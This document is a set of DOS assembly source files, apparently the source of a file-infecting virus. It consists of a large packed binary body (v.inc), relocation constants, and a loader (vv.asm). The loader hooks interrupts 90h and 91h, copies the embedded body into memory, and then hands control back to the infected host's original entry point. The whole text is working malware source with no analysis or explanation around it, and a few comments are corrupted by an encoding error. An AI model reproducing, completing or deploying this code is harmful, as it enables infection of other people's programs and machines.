db  072h,00Bh,006h,0FDh,074h,029h,0BBh,04Ch,002h,0A8h,031h,056h,096h,0A5h
db  0DBh,0E8h,002h,0BBh,0B6h,05Bh,00Bh,01Eh,056h,016h,0FFh,0E8h,040h,000h
db  0B0h,03Ah,0E8h,055h,02Ch,034h,0B2h,035h,0DBh,060h,022h,007h,03Ah,0DDh
db  0A8h,0CDh,090h,035h,0D7h,00Ah,0A3h,0BCh,095h,05Bh,096h,043h,0FBh,0EBh
db  0F3h,0C3h,0B1h,064h,019h,0BDh,0B1h,00Ah,0E8h,002h,0BFh,0AEh,004h,032h
db  0E4h,0F6h,0F1h,0EEh,004h,030h,050h,041h,0A5h,058h,0C1h,04Ah,0DBh,0DDh
db  003h,0E8h,001h,0B1h,009h,050h,0BAh,009h,0D2h,0E8h,035h,041h,0BBh,008h
db  024h,00Fh,01Bh,074h,03Ch,03Ah,0B1h,00Ah,004h,02Fh,001h,0D0h,0B4h,006h
db  06Ch,086h,0C3h,05Bh,036h,01Bh,0FFh,021h,023h,024h,034h,035h,036h,037h
db  038h,0FFh,039h,03Ah,03Bh,03Ch,03Dh,03Eh,03Fh,075h,0FFh,052h,075h,06Eh
db  074h,069h,06Dh,065h,020h,012h,0ACh,0F1h,072h,06Fh,072h,0BDh,01Bh,020h
db  061h,074h,0B8h,004h,02Eh,00Dh,0DBh,042h,050h,00Dh,05Bh,017h,06Fh,0FFh
db  06Eh,073h,020h,043h,06Fh,070h,079h,072h,0E5h,069h,067h,068h,0FFh,028h
db  063h,029h,020h,031h,039h,038h,033h,0FBh,02Ch,039h,032h,020h,042h,01Eh
db  07Ch,06Ch,061h,06Eh,064h,02Eh,011h,087h,006h,016h,00Ch,0CBh,025h,037h
db  0CBh,03Ch,000h,001h,0DBh,0CBh,0A1h,006h,0E9h,0A3h,070h,033h,07Eh,0F4h
db  036h,08Eh,044h,002h,017h,056h,055h,002h,047h,0B0h,05Bh,014h,007h,005h
db  0DDh,072h,00Fh,00Ch,006h,0F2h,07Ch,008h,07Fh,007h,0F6h,045h,004h,077h
db  027h,0E5h,0B8h,0C9h,0F6h,048h,0FEh,0B8h,0D7h,005h,0F6h,042h,0FEh,005h
db  094h,0FEh,072h,00Dh,02Bh,0C4h,073h,009h,014h,097h,02Ch,088h,03Ah,0AEh
db  01Dh,097h,0CAh,02Ah,0FEh,0F8h,0BAh,033h,0D2h,08Bh,0DCh,05Fh,07Eh,0C4h
db  07Fh,008h,036h,0F6h,0C5h,077h,004h,0FCh,069h,081h,06Ch,076h,0B0h,0D7h
db  003h,0D6h,080h,062h,0B9h,00Ah,0BDh,000h,08Dh,045h,074h,02Bh,024h,013h
db  0B2h,0E4h,009h,0CFh,08Ah,0B9h,01Bh,0ECh,0F3h,0E1h,0ABh,0B9h,04Fh,062h
db  07Fh,0D2h,075h,009h,0ACh,03Ah,0C8h,052h,08Dh,0FCh,08Ah,0C8h,0E3h,008h
db  0ACh,037h,037h,003h,0AAh,0E2h,0AEh,0F8h,006h,0C2h,01Fh,0CAh,0E5h,0B5h
db  050h,0DFh,04Fh,00Ah,036h,08Bh,047h,004h,006h,084h,0B5h,088h,0D3h,007h
db  006h,04Dh,00Ch,008h,035h,00Eh,0AEh,043h,005h,07Dh,009h,00Ah,077h,015h
db  0BAh,0B1h,0D7h,0F6h,0EBh,008h,0BAh,0B2h,004h,0FAh,003h,0BAh,0B3h,0D7h
db  045h,0A5h,0B4h,02Bh,08Bh,0B6h,01Bh,03Dh,016h,089h,088h,076h,03Dh,0B2h
db  004h,0F2h,00Dh,03Dh,0B0h,0EEh,010h,0C7h,0FDh,085h,066h,087h,0D2h,024h
db  052h,0C9h,085h,0FBh,0EFh,025h,000h,05Ah,042h,06Bh,0F6h,046h,00Fh,0BBh
db  010h,003h,04Ah,0DBh,074h,038h,0C7h,02Bh,02Dh,057h,051h,089h,0BEh,09Bh
db  009h,001h,060h,04Eh,0F7h,081h,07Dh,002h,04Dh,05Eh,018h,007h,0EBh,050h
db  008h,04Bh,0E5h,067h,0F6h,018h,050h,0BBh,014h,036h,0C2h,015h,0BDh,0BBh
db  0BAh,00Ch,0BBh,0B5h,01Ch,00Ah,0ACh,08Bh,03Fh,0B6h,066h,0B7h,001h,026h
db  0FFh,0DCh,019h,00Bh,0D5h,03Ah,084h,05Fh,005h,05Bh,009h,022h,0B7h,0CEh
db  0C5h,055h,0B6h,00Ch,09Eh,04Dh,0DFh,007h,08Bh,01Dh,0B4h,03Fh,00Bh,0E8h
db  072h,0BDh,010h,07Eh,0CDh,08Ch,038h,06Ah,0F4h,0D7h,03Fh,038h,03Ah,009h
db  00Ah,05Dh,0EBh,0EEh,080h,02Fh,0A5h,02Fh,0F7h,026h,087h,04Dh,008h,031h
db  0CDh,040h,007h,046h,0B7h,0B7h,053h,0B8h,065h,062h,02Ch,0C2h,024h,09Bh
db  002h,052h,059h,01Fh,0BDh,01Eh,0DEh,014h,083h,0FBh,004h,076h,005h,038h
db  0B3h,03Eh,019h,070h,018h,0CEh,007h,035h,0D9h,0D9h,07Fh,0B6h,075h,02Eh
db  021h,0DBh,077h,03Ah,03Bh,0E9h,077h,00Ah,074h,051h,052h,02Ah,0DBh,052h
db  0A3h,057h,037h,05Fh,00Ah,007h,0FFh,003h,0DAh,003h,0F2h,0FCh,0FFh,0D0h
db  02Bh,0FDh,0F2h,08Ch,0C2h,05Bh,007h,01Fh,0ADh,0A9h,024h,068h,0CFh,036h
db  077h,0C3h,0FAh,0FFh,068h,0D8h,006h,050h,015h,049h,0B8h,0E4h,053h,0E8h
db  095h,01Ah,0B0h,01Bh,05Fh,02Dh,05Bh,058h,087h,043h,075h,0D9h,0BCh,0C3h
db  05Dh,0CFh,040h,0B2h,02Ch,039h,0B7h,04Fh,083h,00Dh,01Eh,0F8h,02Bh,0CFh
db  02Bh,0D1h,073h,096h,091h,0CAh,034h,02Fh,02Fh,052h,0C4h,077h,00Ch,0FFh
db  003h,0FEh,0B0h,020h,0FCh,0F3h,0AAh,02Bh,0DBh,0FEh,007h,059h,07Fh,073h
db  03Ah,0A8h,046h,00Fh,0DDh,052h,050h,0E2h,096h,000h,05Ah,03Ah,01Ch,0C8h
db  0C7h,068h,069h,000h,060h,04Eh,0C8h,048h,032h,041h,003h,0C1h,035h,0C8h
db  0AEh,0D0h,0B4h,05Ah,04Ch,0D9h,052h,05Fh,06Dh,0FBh,050h,0EFh,0A4h,02Bh
db  0FBh,0ACh,061h,052h,0E0h,00Dh,050h,057h,0EFh,054h,04Ch,08Dh,00Dh,001h
db  0BAh,058h,0BFh,0C0h,0C3h,056h,00Fh,0DCh,05Eh,0F6h,006h,0B8h,0BBh,005h
db  08Fh,0FFh,0E8h,0EEh,0FEh,075h,00Ah,026h,083h,0C6h,07Fh,01Ah,003h,089h
db  04Eh,060h,070h,0C4h,052h,01Bh,09Ah,00Dh,00Bh,0D5h,03Ch,0FEh,01Ah,074h
db  011h,03Bh,0F3h,075h,0F3h,0EBh,024h,0C3h,007h,044h,0ADh,054h,014h,00Bh
db  022h,001h,0B6h,04Eh,070h,0C3h,0B6h,0D4h,005h,0C3h,03Fh,04Bh,0DDh,0BEh
db  0ADh,050h,076h,0F6h,0DAh,0E8h,058h,0FFh,042h,05Ch,02Dh,08Bh,020h,036h
db  013h,076h,00Ah,0C4h,06Dh,01Ah,091h,012h,068h,091h,0DCh,01Ch,05Fh,014h
db  060h,01Dh,0D8h,0C3h,00Dh,0C8h,018h,06Ch,036h,050h,0B1h,047h,058h,06Dh
db  027h,04Eh,0BEh,002h,07Eh,008h,08Bh,056h,08Dh,03Bh,002h,0B2h,0A5h,0ABh
db  0DAh,0C7h,0C4h,00Bh,08Eh,002h,0B6h,0AAh,09Ch,006h,046h,00Fh,06Dh,00Bh
db  0AAh,0BEh,095h,0E0h,0F2h,0E3h,005h,0EBh,02Ch,0C3h,096h,0D8h,03Ah,0B5h
db  0F7h,06Ah,085h,0D7h,06Eh,042h,05Bh,08Bh,0F8h,02Bh,0FEh,0D0h,07Eh,005h
db  050h,0E8h,06Eh,0FEh,066h,082h,0EFh,08Bh,076h,04Ch,0F7h,046h,0E8h,0AEh
db  0FEh,043h,0A4h,0B6h,00Bh,04Dh,09Eh,016h,025h,05Eh,0A0h,04Eh,0B6h,0EEh
db  03Dh,0DBh,03Fh,0EBh,0FDh,045h,0B5h,0B8h,0BAh,0A9h,0C8h,026h,019h,008h
db  0E5h,0B0h,09Eh,01Ah,0B3h,04Dh,03Eh,072h,034h,050h,091h,073h,094h,04Ch
db  06Eh,022h,080h,07Dh,005h,093h,04Bh,095h,01Eh,0E2h,08Dh,055h,030h,051h
db  0ABh,0A0h,0B0h,06Dh,06Eh,073h,006h,0DDh,0F1h,0EBh,011h,092h,03Bh,038h
db  033h,040h,06Eh,017h,08Bh,046h,09Eh,0E9h,004h,0F1h,0A0h,098h,0BCh,01Bh
db  04Bh,075h,00Eh,01Ch,0DCh,033h,0D8h,087h,073h,021h,019h,0D8h,0BEh,01Bh
db  01Ch,058h,017h,0C1h,0DDh,09Dh,009h,08Ah,01Eh,04Dh,084h,03Bh,04Ah,088h
db  03Ah,006h,04Eh,0AFh,0C3h,097h,06Fh,0BAh,064h,06Dh,06Bh,005h,0BBh,046h
db  0BAh,065h,0B1h,030h,02Ch,099h,0DCh,02Fh,0B3h,01Bh,01Eh,052h,017h,053h
db  024h,092h,016h,041h,0E0h,05Ah,01Fh,0D0h,060h,01Ah,0FDh,0DBh,087h,0C2h
db  049h,083h,0A9h,0F7h,0B3h,03Fh,0B9h,035h,0F2h,0B3h,040h,0B9h,00Fh,010h
db  0E8h,0A6h,02Dh,03Fh,0B0h,0A7h,00Ah,0DFh,052h,01Ch,01Eh,051h,026h,0F7h
db  0C1h,065h,004h,0ADh,08Bh,042h,0ECh,00Ch,08Ah,0E3h,040h,065h,059h,06Dh
db  0DAh,0D2h,0AAh,015h,055h,0F9h,0C9h,039h,037h,06Dh,00Bh,07Fh,0BBh,005h
db  0D6h,0EBh,01Ch,0B7h,03Bh,030h,074h,017h,006h,0A9h,0BDh,0EDh,0CCh,059h
db  01Bh,095h,0F6h,087h,005h,067h,0D8h,00Eh,091h,076h,04Ah,05Bh,0CBh,021h
db  008h,066h,055h,0D9h,008h,006h,0D2h,031h,08Bh,093h,05Ch,05Bh,016h,06Bh
db  042h,0CDh,0E1h,0D4h,097h,008h,08Ah,0FAh,05Fh,0A7h,004h,083h,0C2h,030h
db  0C3h,0B4h,041h,048h,084h,018h,0C3h,0D5h,0A1h,064h,026h,006h,04Ch,024h
db  0CBh,00Bh,0B6h,06Eh,00Ah,040h,076h,026h,0B4h,056h,01Eh,08Ch,005h,078h
db  014h,05Ah,09Eh,076h,019h,080h,0C2h,08Ch,05Ah,00Bh,030h,016h,0A1h,0AAh
db  0DDh,02Dh,075h,0FAh,00Bh,08Eh,0E5h,07Fh,073h,080h,03Eh,04Ch,007h,003h
db  07Fh,01Bh,066h,0C1h,0E0h,010h,066h,00Fh,0EDh,0ACh,0D0h,010h,008h,09Eh
db  0E1h,0D9h,05Dh,0F7h,0E9h,0BFh,007h,0A4h,0C2h,010h,0CBh,08Bh,0F8h,0F0h
db  08Bh,0FAh,0F7h,0E1h,054h,0F1h,02Ah,01Ah,03Ah,012h,0D8h,035h,0B3h,0ADh
db  00Bh,0C5h,00Ah,0F7h,08Dh,03Ah,046h,043h,0D9h,0CBh,03Ch,0C9h,027h,05Fh
db  074h,05Eh,066h,0B7h,099h,040h,0F9h,066h,046h,040h,0B1h,043h,074h,048h
db  0CBh,0B4h,055h,02Bh,031h,0B4h,068h,079h,0D0h,0B1h,06Ah,06Bh,039h,051h
db  05Bh,09Ah,00Bh,0FDh,0DBh,074h,03Eh,079h,00Bh,045h,0BCh,00Eh,0D9h,083h
db  0D3h,0ADh,00Ch,0B7h,033h,0E4h,0F1h,08Bh,08Bh,0FBh,046h,061h,08Bh,01Ah
db  082h,042h,0C0h,0BDh,0AAh,0BEh,05Eh,058h,0D1h,0D2h,0D1h,0DFh,000h,0D3h
db  040h,02Bh,0CEh,0DBh,01Bh,0DFh,0C8h,048h,0FFh,003h,0CEh,013h,0DFh,04Dh
db  075h,0E9h,05Dh,0E2h,0EBh,016h,05Dh,0EDh,078h,0E9h,084h,0BFh,08Eh,0F7h
db  093h,092h,0F7h,0F1h,0B5h,093h,002h,0D6h,032h,0D3h,038h,0FBh,0D1h,0EDh
db  073h,008h,04Ch,006h,045h,0DBh,027h,007h,066h,006h,05Dh,0C1h,0A5h,0FCh
db  006h,00Fh,0ADh,0D0h,0D3h,0EAh,04Bh,02Dh,0E1h,08Dh,01Fh,03Dh,0F5h,0D1h
db  0EAh,0D1h,0D8h,06Bh,0F7h,018h,027h,0A5h,0C2h,0C9h,0D3h,0E0h,0BDh,072h
db  0C1h,018h,088h,011h,0A3h,08Bh,0A2h,070h,089h,00Dh,0B0h,0A1h,03Dh,067h
db  02Ah,00Dh,0F1h,0B0h,002h,0FFh,005h,09Ah,07Dh,0B6h,0AAh,03Ch,031h,0F5h
db  08Eh,009h,0F4h,003h,07Eh,042h,05Ah,0EDh,0FDh,0B8h,00Bh,004h,0BAh,08Ah
db  008h,004h,0B3h,02Ch,087h,02Fh,0DAh,097h,044h,0F6h,0C2h,0EFh,080h,0B8h
db  060h,01Ah,005h,0DBh,042h,075h,014h,03Eh,015h,0D1h,030h,02Bh,06Dh,0C2h
db  03Bh,086h,030h,038h,0D9h,00Ah,001h,096h,01Eh,014h,00Dh,0BAh,0FEh,016h
db  089h,04Dh,018h,089h,05Dh,01Ah,0DEh,010h,01Ch,080h,004h,0DBh,004h,01Eh
db  01Eh,080h,088h,0F0h,056h,0FDh,026h,08Eh,029h,09Ah,002h,02Dh,025h,080h
db  0E0h,083h,0DAh,000h,056h,020h,018h,0B4h,014h,038h,026h,0C1h,040h,0DBh
db  08Dh,095h,017h,0B9h,068h,002h,033h,07Eh,083h,073h,00Dh,09Bh,055h,03Bh
db  08Bh,0D8h,032h,06Eh,080h,013h,05Bh,04Fh,003h,016h,0B6h,0C2h,0F2h,01Dh
db  0ADh,034h,0A1h,0B9h,0CBh,058h,045h,02Fh,04Eh,04Fh,078h,0C3h,0C4h,0E8h
db  044h,0B4h,0F1h,00Fh,0FDh,026h,083h,0F9h,001h,0ADh,0FBh,034h,04Bh,0D1h
db  02Dh,0B9h,0FEh,070h,076h,0EAh,072h,013h,0A6h,0FCh,0B0h,0D3h,01Ah,099h
db  012h,019h,012h,062h,00Bh,01Bh,064h,072h,005h,012h,049h,0B8h,00Fh,06Ah
db  06Fh,043h,0B8h,013h,051h,0BEh,0DCh,02Bh,0E8h,0D3h,0D2h,0F9h,0D9h,001h
db  095h,0ACh,07Ah,00Dh,037h,077h,0A3h,03Eh,05Ah,00Fh,0F6h,054h,0B4h,06Ah
db  0E4h,050h,09Bh,0C4h,0CCh,0F0h,0F9h,0C3h,05Dh,01Fh,007h,0E0h,0B9h,096h
db  003h,0DDh,001h,0D1h,0E9h,0B5h,011h,0FCh,0A8h,0AEh,056h,02Fh,000h,015h
db  0B5h,0CAh,0ECh,015h,003h,00Ah,072h,010h,040h,0C4h,0A0h,0D6h,0FEh,0B8h
db  01Ch,0F9h,002h,000h,00Dh,00Ah,00Bh,088h,00Eh,05Dh,019h,00Fh,000h,0ACh
db  0C5h,000h,000h,019h,001h,0BFh,08Fh,001h,01Ch,001h,0F7h,001h,027h,017h
db  0A5h,01Bh,073h,0E0h,001h,062h,000h,000h,000h,000h,000h,000h,090h,0FFh
db  0A4h,000h,0FFh,075h,003h,0E8h,05Dh,000h,072h,0F6h,041h,08Ch,0C0h,0E8h
db  048h,000h,0E3h,059h,073h,0F9h,049h,049h,074h,00Ch,0C1h,0E1h,004h,089h
db  0CDh,08Ah,01Ch,046h,0F6h,0D3h,031h,0C9h,0E8h,031h,000h,011h,0C9h,075h
db  008h,041h,0E8h,029h,000h,073h,0FBh,041h,041h,081h,0FDh,0D1h,000h,083h
db  0D9h,0FEh,029h,0E8h,072h,00Eh,08Eh,0D8h,08Dh,001h,028h,0FCh,096h,0F3h
db  0A4h,096h,08Eh,0DAh,0EBh,0B5h,0C1h,0E0h,004h,06Ah,000h,01Fh,001h,0D8h
db  001h,0F8h,0EBh,0EAh,000h,0FFh,075h,003h,0E8h,006h,000h,011h,0C9h,000h
db  0FFh,075h,005h,08Ah,03Ch,046h,010h,0FFh,0C3h,05Dh,006h,01Fh,08Dh,0B5h
db  09Eh,0FFh,0ADh,05Bh,091h,0ADh,092h,0ADh,097h,0ADh,001h,0C3h,08Eh,0C3h
db  031h,0C0h,001h,0C7h,026h,001h,02Dh,0ACh,048h,074h,015h,040h,075h,0F4h
db  047h,047h,026h,080h,03Dh,09Ah,075h,0F9h,026h,039h,055h,003h,077h,0F3h
db  0B0h,003h,0EBh,0E2h,081h,0C7h,0FEh,000h,0E2h,0E1h,007h,006h,01Fh,0EAh
db  055h,003h,000h,000h,034h,004h,034h,0A4h,032h
===== end   v.inc =====

===== begin virstarz.inc =====
Start_IP = 0
Start_CS = 0
Body_Len = 4013
RelocOfs = 4006
Start_SP = 65534
Start_SS = 379
RealBody = 5232
===== end   virstzrz.inc =====

===== begin vv.asm =====
len_body_in_mem equ 100h+RealBody+1000

.model tiny
.code
org 100h
start:
      call $+3 
delta:
      cld      
      pop  bp
      push cs
      pop  ds
      push 2 ptr cs:[bp+OldSP-delta]
      push 2 ptr cs:[bp+OldSS-delta]
      push 2 ptr cs:[bp+OfsRET-delta]
      push 2 ptr cs:[bp+SegRET-delta]
      mov ax, 3590h
      int 21h
      mov 2 ptr cs:[old90-delta+bp],   bx
      mov 2 ptr cs:[old90+2-delta+bp], es
      mov ax, 3591h
      int 21h
      mov 2 ptr cs:[old91-delta+bp],   bx
      mov 2 ptr cs:[old91+2-delta+bp], es
      mov ax, 2590h
      lea dx, [bp+int_90-delta]
      int 21h
      mov ax, 2591h
      lea dx, [bp+int_91-delta]
      int 21h
      ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
      mov bx, cs
      cmp bx, 8000h
      ja  int_90 
      lea ax, [bp+buffer-delta]
      mov cl, 4
      shr ax, cl
      inc ax
      add ax, bx
      mov 2 ptr cs:[bp+bufseg-delta], ax
      mov es, ax
      sub di, di
      lea si, [bp+vir-delta]
      mov cx, body_len
      rep movsb
      sub ax, 10h
      mov es, ax
      mov ds, ax
      ; ࠨ reloc's
      add ax, 10h
      mov 2 ptr ds:[relocofs+100h], ax
      mov bx, ax
      add bx, Start_SS
      cli 
      mov ss, bx
      mov sp, 0FFFEh
      sti
      push ax
      sub ax, ax
      push ax
      retf
int_90:
      ; 뢠  室
      ; ᪠᪮ ணࠬ
      call $+3
_delta:
      pop bp
_exit:
      ; ds=cs; bp=delta
      cli
      push cs
      pop  ss
      mov  sp, 0FFF6h
      sti
      pop 2 ptr cs:[bp+SegRET-_delta]
      pop 2 ptr cs:[bp+OfsRET-_delta]
      pop 2 ptr cs:[bp+OldSS-_delta]
      pop 2 ptr cs:[bp+OldSP-_delta] 
      lds dx, 4 ptr cs:[bp+old90-_delta]
      mov ax, 2590h
      int 21h
      lds dx, 4 ptr cs:[bp+old91-_delta]
      mov ax, 2591h
      int 21h
      mov ah, 62h
      int 21h
      mov es, bx
      mov ds, bx
      mov dx, 80h
      mov ah, 1Ah
      int 21h
      add bx, 10h
      add 2 ptr cs:[bp+segRET-_delta], bx
      cli
      db  81h,0C3h
      dw  0
oldSS equ 2 ptr $-2
      mov ss, bx
      mov sp, 0FFFEh
oldSP equ 2 ptr $-2
      sub cx, cx
      mul cx     ; ax=dx=cx=0
      sub bx, bx
      sub si, si
      sub di, di
      sub bp, bp
      sti
      db  0EAH
ofsRET    dw 0
segRET    dw -10h

_vir struc
       _buffer dd ?
       source dd ?
       _vl    dw ?
       OfsSS  dd ?
       OfsSP  dd ?
       OfsCS  dd ?
       OfsIP  dd ?    
ends


int_91:
     call $+3
$delta:
     pop  bp 
     ; ax:si ??
     mov  ax, 2 ptr cs:[bp+bufseg-$delta]
     mov  2 ptr ds:[si._vir._vl], vl 
     mov  2 ptr ds:[si._vir._buffer],   len_body_in_mem 
     mov  2 ptr ds:[si._vir._buffer+2], ax
     mov  ax, cs 
     mov  2 ptr ds:[si._vir.source+2], ax
     mov  2 ptr ds:[si._vir.OfsSS+2],  ax
     mov  2 ptr ds:[si._vir.OfsSP+2],  ax 
     mov  2 ptr ds:[si._vir.OfsCS+2],  ax
     mov  2 ptr ds:[si._vir.OfsIP+2],  ax
     ;;;
     lea  ax, [bp+start-$delta]
     mov  2 ptr ds:[si._vir.source],   ax
     lea  ax, [bp+ofsret-$delta]
     mov  2 ptr ds:[si._vir.ofsip],    ax
     lea  ax, [bp+segret-$delta]
     mov  2 ptr ds:[si._vir.ofscs],    ax
     lea  ax, [bp+oldsp-$delta]
     mov  2 ptr ds:[si._vir.ofssp],    ax
     lea  ax, [bp+oldss-$delta]
     mov  2 ptr ds:[si._vir.ofsss],    ax    
     iret  
include virstarz.inc
vir:
include v.inc
vl = ($-start)
bufseg  dw ?
old90   dd ?
old91   dd ?
buffer:
end start
===== end   vv.asm =====
